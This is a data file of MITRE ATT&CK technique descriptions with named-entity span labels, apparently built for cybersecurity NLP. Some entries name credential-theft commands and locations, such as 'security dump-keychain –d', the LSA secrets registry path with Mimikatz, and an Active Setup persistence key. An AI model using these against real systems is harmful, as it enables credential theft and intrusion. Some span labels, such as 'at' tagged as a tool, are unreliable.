{"text": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.", "spans": {"SYSTEM: macOS": [[90, 95], [1410, 1415]], "ORGANIZATION: Apple": [[619, 624]], "SYSTEM: Access": [[701, 707]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.001"}}
{"text": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon. These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "spans": {"SYSTEM: Windows Registry": [[490, 506]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547"}}
{"text": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.\n\nReg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.", "spans": {"TOOL: at": [[247, 249]], "TOOL: Reg": [[352, 355]], "SYSTEM: Registry": [[388, 396]], "TOOL: Mimikatz": [[398, 406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.004"}}
{"text": "Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. \n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "spans": {"SYSTEM: Access": [[1008, 1014]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1600"}}
{"text": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.\n\nAn adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.", "spans": {"SYSTEM: Active Directory": [[774, 790]], "SYSTEM: Access": [[934, 940]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1606.002"}}
{"text": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.  Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.", "spans": {"SYSTEM: PHP": [[1161, 1164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.008"}}
{"text": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible. In some cases, adversaries may stop or disable many or all services to render systems unusable. Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.", "spans": {"SYSTEM: Exchange": [[433, 441], [794, 802]], "SYSTEM: SQL Server": [[807, 817]], "SYSTEM: API": [[1001, 1004]], "SYSTEM: AWS": [[1008, 1011], [1110, 1113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1489"}}
{"text": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nDuring malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587.001"}}
{"text": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows. Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.", "spans": {"SYSTEM: API": [[553, 556]], "SYSTEM: Windows": [[569, 576]], "SYSTEM: Registry": [[705, 713]], "SYSTEM: Linux": [[719, 724]], "SYSTEM: macOS": [[725, 730]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1652"}}
{"text": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the Net utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. PowerShell cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.", "spans": {"TOOL: Net": [[329, 332]], "SYSTEM: macOS": [[379, 384]], "SYSTEM: Linux": [[417, 422]], "TOOL: PowerShell": [[457, 467]], "SYSTEM: Active Directory": [[570, 586]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.002"}}
{"text": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"SYSTEM: Registry": [[48, 56], [217, 225], [876, 884]], "SYSTEM: Windows": [[121, 128]], "ORGANIZATION: Microsoft": [[485, 494]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.014"}}
{"text": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564"}}
{"text": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).", "spans": {"SYSTEM: Windows": [[20, 27], [1146, 1153]], "SYSTEM: Exchange": [[41, 49]], "SYSTEM: DDE": [[51, 54], [87, 90], [579, 582], [636, 639], [771, 774], [1083, 1086], [1176, 1179], [1327, 1330]], "SYSTEM: OLE": [[491, 494]], "SYSTEM: Component Object Model": [[612, 634], [1405, 1427]], "SYSTEM: Windows 10": [[658, 668]], "SYSTEM: Microsoft Office": [[681, 697], [723, 739]], "SYSTEM: Registry": [[707, 715]], "SYSTEM: Visual Basic": [[917, 929]], "SYSTEM: VBA": [[948, 951]], "SYSTEM: DCOM": [[1429, 1433]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559.002"}}
{"text": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.\n\nAdversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. \n\nWhile Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.", "spans": {"SYSTEM: Access": [[848, 854]], "TOOL: at": [[868, 870]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.002"}}
{"text": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.003"}}
{"text": "Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as <code>MQTT</code>, <code>XMPP</code>, <code>AMQP</code>, and <code>STOMP</code> use a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1071.005"}}
{"text": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592.001"}}
{"text": "Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. \n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1080"}}
{"text": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user. \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.", "spans": {"ORGANIZATION: Microsoft": [[721, 730]], "SYSTEM: Active Directory": [[731, 747], [1046, 1062]], "SYSTEM: AWS": [[1341, 1344], [1584, 1587], [1659, 1662], [1717, 1720]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1484.002"}}
{"text": "Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments). \n\nExamples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for Lateral Movement, Command and Control, or Exfiltration. Data exfiltrated from databases may also be used to extort victims or may be sold for profit.", "spans": {"SYSTEM: MySQL": [[267, 272]], "SYSTEM: PostgreSQL": [[274, 284]], "SYSTEM: MongoDB": [[286, 293]], "ORGANIZATION: Amazon": [[295, 301]], "SYSTEM: Azure": [[331, 336]], "ORGANIZATION: Google": [[351, 357]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.006"}}
{"text": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1573.001"}}
{"text": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the Net utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.", "spans": {"TOOL: Net": [[263, 266]], "SYSTEM: macOS": [[322, 327], [473, 478]], "SYSTEM: Linux": [[332, 337], [374, 379]], "FILEPATH: /etc/passwd": [[445, 456]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087.001"}}
{"text": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).", "spans": {"ORGANIZATION: Facebook": [[982, 990]], "SYSTEM: Access": [[1531, 1537]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.001"}}
{"text": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted. \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.\n  \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction. \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence. \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Defense Evasion.", "spans": {"SYSTEM: macOS": [[1594, 1599], [1774, 1779]], "SYSTEM: Chrome": [[2274, 2280]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1176.001"}}
{"text": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.", "spans": {"SYSTEM: Windows": [[22, 29], [94, 101], [273, 280]], "SYSTEM: Registry": [[847, 855], [876, 884]], "SYSTEM: Component Object Model": [[897, 919]], "SYSTEM: COM": [[921, 924]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.009"}}
{"text": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.005"}}
{"text": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.", "spans": {"SYSTEM: Windows": [[33, 40], [120, 127], [231, 238], [675, 682], [2081, 2088]], "SYSTEM: Windows Registry": [[374, 390]], "TOOL: at": [[472, 474]], "SYSTEM: Registry": [[629, 637], [1032, 1040], [1061, 1069]], "SYSTEM: API": [[683, 686]], "SYSTEM: Native API": [[875, 885]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.003"}}
{"text": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", "spans": {"SYSTEM: DNS": [[30, 33], [375, 378], [501, 504], [542, 545], [759, 762], [795, 798]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568.001"}}
{"text": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.", "spans": {"SYSTEM: Windows Management Instrumentation": [[727, 761]], "TOOL: PowerShell": [[763, 773]], "SYSTEM: Registry": [[815, 823], [980, 988]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497.001"}}
{"text": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence. In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).", "spans": {"SYSTEM: Unix": [[197, 201], [480, 484]], "TOOL: crontab": [[238, 245], [355, 362], [642, 649]], "SYSTEM: Linux": [[471, 476]], "TOOL: at": [[518, 520]], "FILEPATH: /var/spool/cron/crontabs/root`).": [[663, 695]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.003"}}
{"text": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the Net utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.", "spans": {"TOOL: Net": [[397, 400]], "SYSTEM: macOS": [[448, 453]], "SYSTEM: Linux": [[486, 491]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069.002"}}
{"text": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. Exploits) or to attempt to develop one themselves (i.e. Exploits).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.006"}}
